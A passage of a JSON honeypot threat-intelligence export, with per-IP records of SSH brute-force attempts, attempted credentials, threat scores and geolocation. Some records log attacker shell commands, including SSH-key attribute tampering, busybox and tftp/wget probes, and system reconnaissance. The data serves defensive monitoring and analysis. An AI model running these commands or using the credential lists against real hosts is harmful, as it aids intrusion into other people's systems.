      "country_code": "SG",
      "city": "Singapore",
      "asn": 150436,
      "as_org": "Byteplus Pte. Ltd.",
      "threat_score": 27.0,
      "threat_level": "low",
      "score_components": {
        "frequency": 19.5,
        "persistence": 0.8,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.83
      },
      "reputation_metrics": {
        "total_events_30d": 90,
        "days_active_30d": 1,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-03-26T10:14:57.738000+00:00",
        "last_seen_30d": "2026-03-26T10:32:58.441000+00:00",
        "days_since_last_seen": 5
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 75,
        "Suricata": 15
      }
    },
    "51.178.141.222": {
      "attack_count": 73,
      "first_seen": "2026-03-03T06:33:05.275Z",
      "last_seen": "2026-03-03T06:56:14.202Z",
      "sessions": 13,
      "ports": [],
      "usernames_attempted": [
        "root",
        "345gs5662d34"
      ],
      "passwords_attempted": [
        "3245gs5662d34",
        "345gs5662d34",
        "Abc123456789*",
        "Admin@123#",
        "Bingo@1993",
        "Ccjsj1200",
        "P@$$w0rd",
        "Q1w2e3r4t5",
        "Qq1234567",
        "mnbvcxz1",
        "mustafa",
        "qazxsw321",
        "zxcZXC123"
      ],
      "commands_executed": [
        "cd ~; chattr -ia .ssh; lockr -ia .ssh",
        "lockr -ia .ssh"
      ],
      "event_types": [
        "cowrie.client.kex",
        "cowrie.client.version",
        "cowrie.session.closed",
        "cowrie.session.connect",
        "cowrie.login.failed",
        "cowrie.command.input",
        "cowrie.log.closed",
        "cowrie.login.success",
        "cowrie.session.params",
        "cowrie.command.failed"
      ],
      "country": "France",
      "country_code": "FR",
      "city": null,
      "asn": 16276,
      "as_org": "OVH SAS",
      "threat_score": 3.3,
      "threat_level": "minimal",
      "score_components": {
        "frequency": 20.1,
        "persistence": 0.8,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.1
      },
      "reputation_metrics": {
        "total_events_30d": 103,
        "days_active_30d": 1,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-03-03T06:33:05.275000+00:00",
        "last_seen_30d": "2026-03-03T06:57:22.076000+00:00",
        "days_since_last_seen": 28
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 73,
        "Suricata": 30
      }
    },
    "165.227.145.182": {
      "attack_count": 63,
      "first_seen": "2026-03-06T05:55:39.915Z",
      "last_seen": "2026-03-06T05:55:53.127Z",
      "sessions": 9,
      "ports": [],
      "usernames_attempted": [
        "User-Agent: Go-http-client/1.1",
        "GET /query?q=SHOW+DIAGNOSTICS HTTP/1.1",
        "GET /solr/admin/cores?action=STATUS&wt=json HTTP/1.1",
        "GET /solr/admin/info/system HTTP/1.1"
      ],
      "passwords_attempted": [
        "Connection: close",
        "Host: 172.105.186.117:23"
      ],
      "commands_executed": [
        ""
      ],
      "event_types": [
        "cowrie.command.input",
        "cowrie.log.closed",
        "cowrie.login.failed",
        "cowrie.login.success",
        "cowrie.session.closed",
        "cowrie.session.connect",
        "cowrie.session.params"
      ],
      "country": "Germany",
      "country_code": "DE",
      "city": "Frankfurt am Main",
      "asn": 14061,
      "as_org": "DigitalOcean, LLC",
      "threat_score": 9.1,
      "threat_level": "minimal",
      "score_components": {
        "frequency": 20.7,
        "persistence": 1.7,
        "diversity": 12,
        "spread": 20,
        "recency_factor": 0.17
      },
      "reputation_metrics": {
        "total_events_30d": 118,
        "days_active_30d": 2,
        "ports_targeted_30d": 6,
        "honeypots_triggered_30d": 4,
        "first_seen_30d": "2026-03-05T03:12:33+00:00",
        "last_seen_30d": "2026-03-06T15:12:38.980000+00:00",
        "days_since_last_seen": 25
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 63,
        "Suricata": 49,
        "Honeytrap": 4,
        "Tanner": 2
      }
    },
    "52.168.141.47": {
      "attack_count": 61,
      "first_seen": "2026-03-17T06:19:42.231Z",
      "last_seen": "2026-03-17T07:35:53.642Z",
      "sessions": 12,
      "ports": [],
      "usernames_attempted": [
        "root",
        "345gs5662d34",
        "md",
        "usuario"
      ],
      "passwords_attempted": [
        "12345678",
        "3245gs5662d34",
        "345gs5662d34",
        "Pa$$w0rd2024",
        "mdpass"
      ],
      "commands_executed": [
        "cd ~; chattr -ia .ssh; lockr -ia .ssh",
        "lockr -ia .ssh"
      ],
      "event_types": [
        "cowrie.client.kex",
        "cowrie.client.version",
        "cowrie.session.closed",
        "cowrie.session.connect",
        "cowrie.login.failed",
        "cowrie.command.input",
        "cowrie.log.closed",
        "cowrie.login.success",
        "cowrie.session.params",
        "cowrie.command.failed"
      ],
      "country": "United States",
      "country_code": "US",
      "city": "Washington",
      "asn": 8075,
      "as_org": "Microsoft Corporation",
      "threat_score": 17.4,
      "threat_level": "minimal",
      "score_components": {
        "frequency": 19.8,
        "persistence": 0.8,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.53
      },
      "reputation_metrics": {
        "total_events_30d": 95,
        "days_active_30d": 1,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-03-17T06:19:42.231000+00:00",
        "last_seen_30d": "2026-03-17T07:37:03.268000+00:00",
        "days_since_last_seen": 14
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 61,
        "Suricata": 34
      }
    },
    "102.212.40.244": {
      "attack_count": 50,
      "first_seen": "2026-03-27T23:51:45.531Z",
      "last_seen": "2026-03-27T23:57:10.724Z",
      "sessions": 25,
      "ports": [],
      "usernames_attempted": [],
      "passwords_attempted": [],
      "commands_executed": [],
      "event_types": [
        "cowrie.session.closed",
        "cowrie.session.connect"
      ],
      "country": "Nigeria",
      "country_code": "NG",
      "city": "Uyo",
      "asn": 329244,
      "as_org": "Connect-Surf-and-Smile-Limited",
      "threat_score": 28.5,
      "threat_level": "low",
      "score_components": {
        "frequency": 18.8,
        "persistence": 0.8,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.9
      },
      "reputation_metrics": {
        "total_events_30d": 76,
        "days_active_30d": 1,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-03-27T23:51:45.531000+00:00",
        "last_seen_30d": "2026-03-27T23:58:12.246000+00:00",
        "days_since_last_seen": 3
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 50,
        "Suricata": 26
      }
    },
    "77.90.185.16": {
      "attack_count": 50,
      "first_seen": "2026-03-03T09:37:50.088Z",
      "last_seen": "2026-03-31T23:13:32.046Z",
      "sessions": 25,
      "ports": [],
      "usernames_attempted": [],
      "passwords_attempted": [],
      "commands_executed": [],
      "event_types": [
        "cowrie.session.closed",
        "cowrie.session.connect"
      ],
      "country": "Iran",
      "country_code": "IR",
      "city": null,
      "asn": 213790,
      "as_org": "Limited Network LTD",
      "threat_score": 90.1,
      "threat_level": "critical",
      "score_components": {
        "frequency": 25.9,
        "persistence": 24.2,
        "diversity": 20,
        "spread": 20,
        "recency_factor": 1.0
      },
      "reputation_metrics": {
        "total_events_30d": 390,
        "days_active_30d": 29,
        "ports_targeted_30d": 10,
        "honeypots_triggered_30d": 4,
        "first_seen_30d": "2026-03-03T03:06:40+00:00",
        "last_seen_30d": "2026-03-31T23:14:38.355000+00:00",
        "days_since_last_seen": 0
      },
      "honeypot_breakdown_30d": {
        "Suricata": 251,
        "Honeytrap": 71,
        "Cowrie": 50,
        "ConPot": 18
      }
    },
    "180.76.120.11": {
      "attack_count": 42,
      "first_seen": "2026-03-03T05:13:16.972Z",
      "last_seen": "2026-03-27T17:55:42.498Z",
      "sessions": 21,
      "ports": [],
      "usernames_attempted": [],
      "passwords_attempted": [],
      "commands_executed": [],
      "event_types": [
        "cowrie.session.closed",
        "cowrie.session.connect"
      ],
      "country": "China",
      "country_code": "CN",
      "city": null,
      "asn": 38365,
      "as_org": "Beijing Baidu Netcom Science and Technology Co., Ltd.",
      "threat_score": 45.4,
      "threat_level": "medium",
      "score_components": {
        "frequency": 19.5,
        "persistence": 20.8,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.87
      },
      "reputation_metrics": {
        "total_events_30d": 89,
        "days_active_30d": 25,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-03-03T05:13:16.972000+00:00",
        "last_seen_30d": "2026-03-27T18:27:07.524000+00:00",
        "days_since_last_seen": 4
      },
      "honeypot_breakdown_30d": {
        "Suricata": 47,
        "Cowrie": 42
      }
    },
    "209.38.33.23": {
      "attack_count": 40,
      "first_seen": "2026-03-12T01:03:58.950Z",
      "last_seen": "2026-03-12T01:25:10.845Z",
      "sessions": 7,
      "ports": [],
      "usernames_attempted": [
        "root"
      ],
      "passwords_attempted": [
        "123",
        "1234",
        "1234567890",
        "admin123",
        "password1",
        "qwerty123"
      ],
      "commands_executed": [
        "cat /proc/uptime 2 > /dev/null | cut -d. -f1",
        "uname -m 2 > /dev/null",
        "uname -s -v -n -m 2 > /dev/null"
      ],
      "event_types": [
        "cowrie.session.closed",
        "cowrie.session.connect",
        "cowrie.client.kex",
        "cowrie.client.version",
        "cowrie.login.failed",
        "cowrie.command.input",
        "cowrie.command.failed",
        "cowrie.log.closed",
        "cowrie.login.success",
        "cowrie.session.file_download"
      ],
      "country": "The Netherlands",
      "country_code": "NL",
      "city": "Amsterdam",
      "asn": 14061,
      "as_org": "DigitalOcean, LLC",
      "threat_score": 11.2,
      "threat_level": "minimal",
      "score_components": {
        "frequency": 17.7,
        "persistence": 0.8,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.37
      },
      "reputation_metrics": {
        "total_events_30d": 59,
        "days_active_30d": 1,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-03-12T01:03:58.950000+00:00",
        "last_seen_30d": "2026-03-12T01:26:12.334000+00:00",
        "days_since_last_seen": 19
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 40,
        "Suricata": 19
      }
    },
    "38.188.160.175": {
      "attack_count": 38,
      "first_seen": "2026-03-11T00:01:22.617Z",
      "last_seen": "2026-03-11T00:33:20.089Z",
      "sessions": 7,
      "ports": [],
      "usernames_attempted": [
        "root"
      ],
      "passwords_attempted": [
        "123456789987654321",
        "200991",
        "310379",
        "kyliann",
        "montpellier34",
        "trucmuche",
        "zebulon1"
      ],
      "commands_executed": [
        "echo -e \"\\x6F\\x6B\""
      ],
      "event_types": [
        "cowrie.client.kex",
        "cowrie.client.version",
        "cowrie.session.closed",
        "cowrie.session.connect",
        "cowrie.login.failed",
        "cowrie.command.input",
        "cowrie.log.closed",
        "cowrie.login.success",
        "cowrie.session.params"
      ],
      "country": "Dominican Republic",
      "country_code": "DO",
      "city": "Santo Domingo",
      "asn": 273113,
      "as_org": "ONERED JWG532 SRL",
      "threat_score": 10.1,
      "threat_level": "minimal",
      "score_components": {
        "frequency": 17.6,
        "persistence": 0.8,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.33
      },
      "reputation_metrics": {
        "total_events_30d": 57,
        "days_active_30d": 1,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-03-11T00:01:22.617000+00:00",
        "last_seen_30d": "2026-03-11T00:34:22.851000+00:00",
        "days_since_last_seen": 20
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 38,
        "Suricata": 19
      }
    },
    "120.48.60.44": {
      "attack_count": 36,
      "first_seen": "2026-03-12T00:48:56.376Z",
      "last_seen": "2026-03-12T01:13:26.059Z",
      "sessions": 6,
      "ports": [],
      "usernames_attempted": [
        "345gs5662d34",
        "info",
        "nginx",
        "patricia"
      ],
      "passwords_attempted": [
        "1qaz@WSX",
        "345gs5662d34",
        "info123",
        "patricia"
      ],
      "commands_executed": [
        "cd ~; chattr -ia .ssh; lockr -ia .ssh",
        "lockr -ia .ssh"
      ],
      "event_types": [
        "cowrie.client.kex",
        "cowrie.client.version",
        "cowrie.session.closed",
        "cowrie.session.connect",
        "cowrie.login.failed",
        "cowrie.command.input",
        "cowrie.log.closed",
        "cowrie.session.params",
        "cowrie.command.failed",
        "cowrie.login.success"
      ],
      "country": "China",
      "country_code": "CN",
      "city": "Beijing",
      "asn": 38365,
      "as_org": "Beijing Baidu Netcom Science and Technology Co., Ltd.",
      "threat_score": 11.1,
      "threat_level": "minimal",
      "score_components": {
        "frequency": 17.4,
        "persistence": 0.8,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.37
      },
      "reputation_metrics": {
        "total_events_30d": 55,
        "days_active_30d": 1,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-03-12T00:48:56.376000+00:00",
        "last_seen_30d": "2026-03-12T01:24:10.937000+00:00",
        "days_since_last_seen": 19
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 36,
        "Suricata": 19
      }
    },
    "45.64.74.56": {
      "attack_count": 35,
      "first_seen": "2026-03-02T13:28:06.199Z",
      "last_seen": "2026-03-07T02:21:03.026Z",
      "sessions": 7,
      "ports": [],
      "usernames_attempted": [
        "root",
        "admin",
        "orangepi"
      ],
      "passwords_attempted": [
        "P",
        "admin",
        "orangepi",
        "password"
      ],
      "commands_executed": [],
      "event_types": [
        "cowrie.client.kex",
        "cowrie.client.version",
        "cowrie.session.closed",
        "cowrie.session.connect",
        "cowrie.login.failed",
        "cowrie.login.success"
      ],
      "country": "Taiwan",
      "country_code": "TW",
      "city": null,
      "asn": 55933,
      "as_org": "Cloudie Limited",
      "threat_score": 6.9,
      "threat_level": "minimal",
      "score_components": {
        "frequency": 17.3,
        "persistence": 5.0,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.2
      },
      "reputation_metrics": {
        "total_events_30d": 54,
        "days_active_30d": 6,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-03-02T13:28:06.199000+00:00",
        "last_seen_30d": "2026-03-07T02:22:10.631000+00:00",
        "days_since_last_seen": 24
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 35,
        "Suricata": 19
      }
    },
    "207.46.224.91": {
      "attack_count": 33,
      "first_seen": "2026-03-27T09:49:32.160Z",
      "last_seen": "2026-03-27T14:28:33.024Z",
      "sessions": 6,
      "ports": [],
      "usernames_attempted": [
        "root"
      ],
      "passwords_attempted": [
        "1",
        "12",
        "123",
        "1234",
        "123456",
        "12345678"
      ],
      "commands_executed": [
        "pwd"
      ],
      "event_types": [
        "cowrie.client.kex",
        "cowrie.client.version",
        "cowrie.session.closed",
        "cowrie.session.connect",
        "cowrie.login.failed",
        "cowrie.command.input",
        "cowrie.log.closed",
        "cowrie.login.success",
        "cowrie.session.params"
      ],
      "country": "Singapore",
      "country_code": "SG",
      "city": "Singapore",
      "asn": 8075,
      "as_org": "Microsoft Corporation",
      "threat_score": 25.9,
      "threat_level": "low",
      "score_components": {
        "frequency": 17.1,
        "persistence": 0.8,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.87
      },
      "reputation_metrics": {
        "total_events_30d": 51,
        "days_active_30d": 1,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-03-27T09:49:32.160000+00:00",
        "last_seen_30d": "2026-03-27T14:29:39.664000+00:00",
        "days_since_last_seen": 4
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 33,
        "Suricata": 18
      }
    },
    "139.135.60.59": {
      "attack_count": 30,
      "first_seen": "2026-03-10T01:36:52.045Z",
      "last_seen": "2026-03-10T01:40:06.435Z",
      "sessions": 15,
      "ports": [],
      "usernames_attempted": [],
      "passwords_attempted": [],
      "commands_executed": [],
      "event_types": [
        "cowrie.session.closed",
        "cowrie.session.connect"
      ],
      "country": "Pakistan",
      "country_code": "PK",
      "city": "Lahore",
      "asn": 9541,
      "as_org": "Cyber Internet Services Pvt Ltd.",
      "threat_score": 8.8,
      "threat_level": "minimal",
      "score_components": {
        "frequency": 16.6,
        "persistence": 0.8,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.3
      },
      "reputation_metrics": {
        "total_events_30d": 46,
        "days_active_30d": 1,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-03-10T01:36:52.045000+00:00",
        "last_seen_30d": "2026-03-10T01:41:16.384000+00:00",
        "days_since_last_seen": 21
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 30,
        "Suricata": 16
      }
    },
    "45.148.10.157": {
      "attack_count": 28,
      "first_seen": "2026-03-10T16:04:46.015Z",
      "last_seen": "2026-03-30T01:02:58.421Z",
      "sessions": 7,
      "ports": [],
      "usernames_attempted": [],
      "passwords_attempted": [],
      "commands_executed": [],
      "event_types": [
        "cowrie.client.kex",
        "cowrie.client.version",
        "cowrie.session.closed",
        "cowrie.session.connect"
      ],
      "country": "The Netherlands",
      "country_code": "NL",
      "city": "Amsterdam",
      "asn": 48090,
      "as_org": "Techoff Srv Limited",
      "threat_score": 44.9,
      "threat_level": "medium",
      "score_components": {
        "frequency": 16.9,
        "persistence": 17.5,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.97
      },
      "reputation_metrics": {
        "total_events_30d": 49,
        "days_active_30d": 21,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-03-10T16:04:46.015000+00:00",
        "last_seen_30d": "2026-03-30T01:04:04.682000+00:00",
        "days_since_last_seen": 1
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 28,
        "Suricata": 21
      }
    },
    "103.101.231.21": {
      "attack_count": 24,
      "first_seen": "2026-03-06T02:30:38.626Z",
      "last_seen": "2026-03-06T02:30:43.529Z",
      "sessions": 1,
      "ports": [],
      "usernames_attempted": [
        "root",
        "admin",
        "admin1",
        "user"
      ],
      "passwords_attempted": [
        "",
        "1001chin",
        "anko",
        "password",
        "user"
      ],
      "commands_executed": [
        "q",
        "shell",
        "system",
        "/bin/busybox POFLQ",
        "cat /proc/mounts; /bin/busybox POFLQ",
        "cd /dev/shm; cat .s || cp /bin/echo .s; /bin/busybox POFLQ",
        "dd bs=52 count=1 if=.s || cat .s || while read i; do echo $i; done < .s",
        "enable",
        "rm .s; exit",
        "sh",
        "tftp; wget; /bin/busybox POFLQ",
        "while read i"
      ],
      "event_types": [
        "cowrie.command.input",
        "cowrie.command.failed",
        "cowrie.login.failed",
        "cowrie.log.closed",
        "cowrie.login.success",
        "cowrie.session.closed",
        "cowrie.session.connect",
        "cowrie.session.params"
      ],
      "country": "Indonesia",
      "country_code": "ID",
      "city": "Jakarta Pusat",
      "asn": 17451,
      "as_org": "BIZNET NETWORKS",
      "threat_score": 4.5,
      "threat_level": "minimal",
      "score_components": {
        "frequency": 14.1,
        "persistence": 0.8,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.17
      },
      "reputation_metrics": {
        "total_events_30d": 26,
        "days_active_30d": 1,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-03-06T02:30:38.626000+00:00",
        "last_seen_30d": "2026-03-06T02:31:53.031000+00:00",
        "days_since_last_seen": 25
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 24,
        "Suricata": 2
      }
    },
    "50.232.189.208": {
      "attack_count": 24,
      "first_seen": "2026-03-08T17:39:16.895Z",
      "last_seen": "2026-03-08T18:20:56.421Z",
      "sessions": 8,
      "ports": [],
      "usernames_attempted": [],
      "passwords_attempted": [],
      "commands_executed": [],
      "event_types": [
        "cowrie.client.version",
        "cowrie.session.closed",
        "cowrie.session.connect"
      ],
      "country": "United States",
      "country_code": "US",
      "city": "Alexandria",
      "asn": 7922,
      "as_org": "Comcast Cable Communications, LLC",
      "threat_score": 22.5,
      "threat_level": "low",
      "score_components": {
        "frequency": 30,
        "persistence": 2.5,
        "diversity": 20,
        "spread": 15,
        "recency_factor": 0.33
      },
      "reputation_metrics": {
        "total_events_30d": 1124,
        "days_active_30d": 3,
        "ports_targeted_30d": 69,
        "honeypots_triggered_30d": 3,
        "first_seen_30d": "2026-03-08T17:39:16.895000+00:00",
        "last_seen_30d": "2026-03-10T23:47:38.026000+00:00",
        "days_since_last_seen": 20
      },
      "honeypot_breakdown_30d": {
        "Suricata": 566,
        "Honeytrap": 534,
        "Cowrie": 24
      }
    },
    "125.21.53.232": {
      "attack_count": 23,
      "first_seen": "2026-03-13T10:37:33.698Z",
      "last_seen": "2026-03-13T10:37:38.844Z",
      "sessions": 3,
      "ports": [],
      "usernames_attempted": [
        "claude",
        "345gs5662d34"
      ],
      "passwords_attempted": [
        "3245gs5662d34",
        "345gs5662d34",
        "password"
      ],
      "commands_executed": [
        "cd ~; chattr -ia .ssh; lockr -ia .ssh",
        "lockr -ia .ssh"
      ],
      "event_types": [
        "cowrie.client.kex",
        "cowrie.client.version",
        "cowrie.session.closed",
        "cowrie.session.connect",
        "cowrie.command.input",
        "cowrie.log.closed",
        "cowrie.login.success",
        "cowrie.session.params",
        "cowrie.command.failed",
        "cowrie.login.failed"
      ],
      "country": "India",
      "country_code": "IN",
      "city": null,
      "asn": 9498,
      "as_org": "BHARTI Airtel Ltd.",
      "threat_score": 11.0,
      "threat_level": "minimal",
      "score_components": {
        "frequency": 14.8,
        "persistence": 0.8,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.4
      },
      "reputation_metrics": {
        "total_events_30d": 30,
        "days_active_30d": 1,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-03-13T10:37:33.698000+00:00",
        "last_seen_30d": "2026-03-13T10:38:48.437000+00:00",
        "days_since_last_seen": 18
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 23,
        "Suricata": 7
      }
    },
    "176.65.148.75": {
      "attack_count": 22,
      "first_seen": "2026-03-23T03:16:39.840Z",
      "last_seen": "2026-03-28T21:37:08.464Z",
      "sessions": 11,
      "ports": [],
      "usernames_attempted": [],
      "passwords_attempted": [],
      "commands_executed": [],
      "event_types": [
        "cowrie.session.closed",
        "cowrie.session.connect"
      ],
      "country": "The Netherlands",
      "country_code": "NL",
      "city": "Eygelshoven",
      "asn": 51396,
      "as_org": "Pfcloud UG (haftungsbeschrankt)",
      "threat_score": 37.1,
      "threat_level": "low",
      "score_components": {
        "frequency": 16.8,
        "persistence": 8.3,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 1.0
      },
      "reputation_metrics": {
        "total_events_30d": 48,
        "days_active_30d": 10,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-03-22T00:47:45.606000+00:00",
        "last_seen_30d": "2026-03-31T22:40:25.765000+00:00",
        "days_since_last_seen": 0
      },
      "honeypot_breakdown_30d": {
        "Suricata": 26,
        "Cowrie": 22
      }
    },
    "101.126.22.12": {
      "attack_count": 15,
      "first_seen": "2026-03-26T15:53:17.903Z",
      "last_seen": "2026-03-26T16:06:25.208Z",
      "sessions": 3,
      "ports": [],
      "usernames_attempted": [
        "silvia",
        "student2",
        "viper"
      ],
      "passwords_attempted": [
        "1234",
        "Silvia123",
        "viper"
      ],
      "commands_executed": [],
      "event_types": [
        "cowrie.client.kex",
        "cowrie.client.version",
        "cowrie.login.failed",
        "cowrie.session.closed",
        "cowrie.session.connect"
      ],
      "country": "China",
      "country_code": "CN",
      "city": null,
      "asn": 137718,
      "as_org": "Beijing Volcano Engine Technology Co., Ltd.",
      "threat_score": 22.5,
      "threat_level": "low",
      "score_components": {
        "frequency": 14.1,
        "persistence": 0.8,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.83
      },
      "reputation_metrics": {
        "total_events_30d": 26,
        "days_active_30d": 1,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-03-26T15:53:17.903000+00:00",
        "last_seen_30d": "2026-03-26T16:07:34.030000+00:00",
        "days_since_last_seen": 5
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 15,
        "Suricata": 11
      }
    },
    "193.233.253.17": {
      "attack_count": 15,
      "first_seen": "2026-03-24T04:21:23.626Z",
      "last_seen": "2026-03-24T04:38:36.761Z",
      "sessions": 3,
      "ports": [],
      "usernames_attempted": [
        "admin",
        "orangepi",
        "root"
      ],
      "passwords_attempted": [
        "P",
        "admin",
        "orangepi"
      ],
      "commands_executed": [],
      "event_types": [
        "cowrie.client.kex",
        "cowrie.client.version",
        "cowrie.session.closed",
        "cowrie.session.connect",
        "cowrie.login.failed",
        "cowrie.login.success"
      ],
      "country": "Russia",
      "country_code": "RU",
      "city": null,
      "asn": 215540,
      "as_org": "Global Connectivity Solutions Llp",
      "threat_score": 20.6,
      "threat_level": "low",
      "score_components": {
        "frequency": 14.0,
        "persistence": 0.8,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.77
      },
      "reputation_metrics": {
        "total_events_30d": 25,
        "days_active_30d": 1,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-03-24T04:13:54.095000+00:00",
        "last_seen_30d": "2026-03-24T04:39:45.215000+00:00",
        "days_since_last_seen": 7
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 15,
        "Suricata": 10
      }
    },
    "206.168.34.117": {
      "attack_count": 12,
      "first_seen": "2026-03-09T08:31:14.568Z",
      "last_seen": "2026-03-20T09:41:53.154Z",
      "sessions": 6,
      "ports": [],
      "usernames_attempted": [],
      "passwords_attempted": [],
      "commands_executed": [],
      "event_types": [
        "cowrie.session.closed",
        "cowrie.session.connect"
      ],
      "country": "United States",
      "country_code": "US",
      "city": null,
      "asn": 398324,
      "as_org": "Censys, Inc.",
      "threat_score": 57.5,
      "threat_level": "medium",
      "score_components": {
        "frequency": 20.1,
        "persistence": 18.3,
        "diversity": 20,
        "spread": 20,
        "recency_factor": 0.73
      },
      "reputation_metrics": {
        "total_events_30d": 102,
        "days_active_30d": 22,
        "ports_targeted_30d": 30,
        "honeypots_triggered_30d": 4,
        "first_seen_30d": "2026-03-02T19:18:09+00:00",
        "last_seen_30d": "2026-03-23T19:33:12.063000+00:00",
        "days_since_last_seen": 8
      },
      "honeypot_breakdown_30d": {
        "Suricata": 50,
        "Honeytrap": 39,
        "Cowrie": 12,
        "Dionaea": 1
      }
    },
    "80.66.83.43": {
      "attack_count": 12,
      "first_seen": "2026-03-04T07:05:54.759Z",
      "last_seen": "2026-03-25T07:43:43.338Z",
      "sessions": 4,
      "ports": [],
      "usernames_attempted": [],
      "passwords_attempted": [],
      "commands_executed": [],
      "event_types": [
        "cowrie.client.version",
        "cowrie.session.closed",
        "cowrie.session.connect"
      ],
      "country": "Russia",
      "country_code": "RU",
      "city": null,
      "asn": 216473,
      "as_org": "Bashinskii Vadim Ruslanovich",
      "threat_score": 100,
      "threat_level": "critical",
      "score_components": {
        "frequency": 30,
        "persistence": 25,
        "diversity": 20,
        "spread": 25,
        "recency_factor": 1.0
      },
      "reputation_metrics": {
        "total_events_30d": 3379,
        "days_active_30d": 30,
        "ports_targeted_30d": 55,
        "honeypots_triggered_30d": 6,
        "first_seen_30d": "2026-03-02T07:48:21.765000+00:00",
        "last_seen_30d": "2026-03-31T22:00:12.800000+00:00",
        "days_since_last_seen": 0
      },
      "honeypot_breakdown_30d": {
        "Suricata": 1917,
        "Honeytrap": 1404,
        "ConPot": 34,
        "Cowrie": 12,
        "Adbhoney": 6,
        "Dionaea": 6
      }
    },
    "65.49.1.162": {
      "attack_count": 8,
      "first_seen": "2026-03-17T04:36:23.332Z",
      "last_seen": "2026-03-19T08:35:58.767Z",
      "sessions": 2,
      "ports": [],
      "usernames_attempted": [
        "Accept-Encoding: gzip",
        "GET / HTTP/1.1",
        "User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/135.0.0.0 Safari/537.36 OPR/120.0.0.0"
      ],
      "passwords_attempted": [
        "",
        "Accept: */*",
        "Host: 172.105.186.117:23"
      ],
      "commands_executed": [],
      "event_types": [
        "cowrie.login.failed",
        "cowrie.session.closed",
        "cowrie.session.connect",
        "cowrie.client.version"
      ],
      "country": "United States",
      "country_code": "US",
      "city": null,
      "asn": 6939,
      "as_org": "Hurricane Electric LLC",
      "threat_score": 94.7,
      "threat_level": "critical",
      "score_components": {
        "frequency": 24.7,
        "persistence": 25,
        "diversity": 20,
        "spread": 25,
        "recency_factor": 1.0
      },
      "reputation_metrics": {
        "total_events_30d": 294,
        "days_active_30d": 30,
        "ports_targeted_30d": 79,
        "honeypots_triggered_30d": 7,
        "first_seen_30d": "2026-03-02T01:50:08+00:00",
        "last_seen_30d": "2026-03-31T13:59:55.624000+00:00",
        "days_since_last_seen": 0
      },
      "honeypot_breakdown_30d": {
        "Suricata": 179,
        "Honeytrap": 92,
        "Redishoneypot": 11,
        "Cowrie": 8,
        "ConPot": 2,
        "Dionaea": 1,
        "ElasticPot": 1
      }
    },
    "66.240.223.240": {
      "attack_count": 8,
      "first_seen": "2026-03-09T05:31:00.296Z",
      "last_seen": "2026-03-16T05:06:55.962Z",
      "sessions": 3,
      "ports": [],
      "usernames_attempted": [],
      "passwords_attempted": [],
      "commands_executed": [],
      "event_types": [
        "cowrie.session.closed",
        "cowrie.session.connect",
        "cowrie.client.kex",
        "cowrie.client.version"
      ],
      "country": "United States",
      "country_code": "US",
      "city": null,
      "asn": 10439,
      "as_org": "CariNet, Inc.",
      "threat_score": 84.8,
      "threat_level": "critical",
      "score_components": {
        "frequency": 20.3,
        "persistence": 22.5,
        "diversity": 20,
        "spread": 25,
        "recency_factor": 0.97
      },
      "reputation_metrics": {
        "total_events_30d": 106,
        "days_active_30d": 27,
        "ports_targeted_30d": 17,
        "honeypots_triggered_30d": 7,
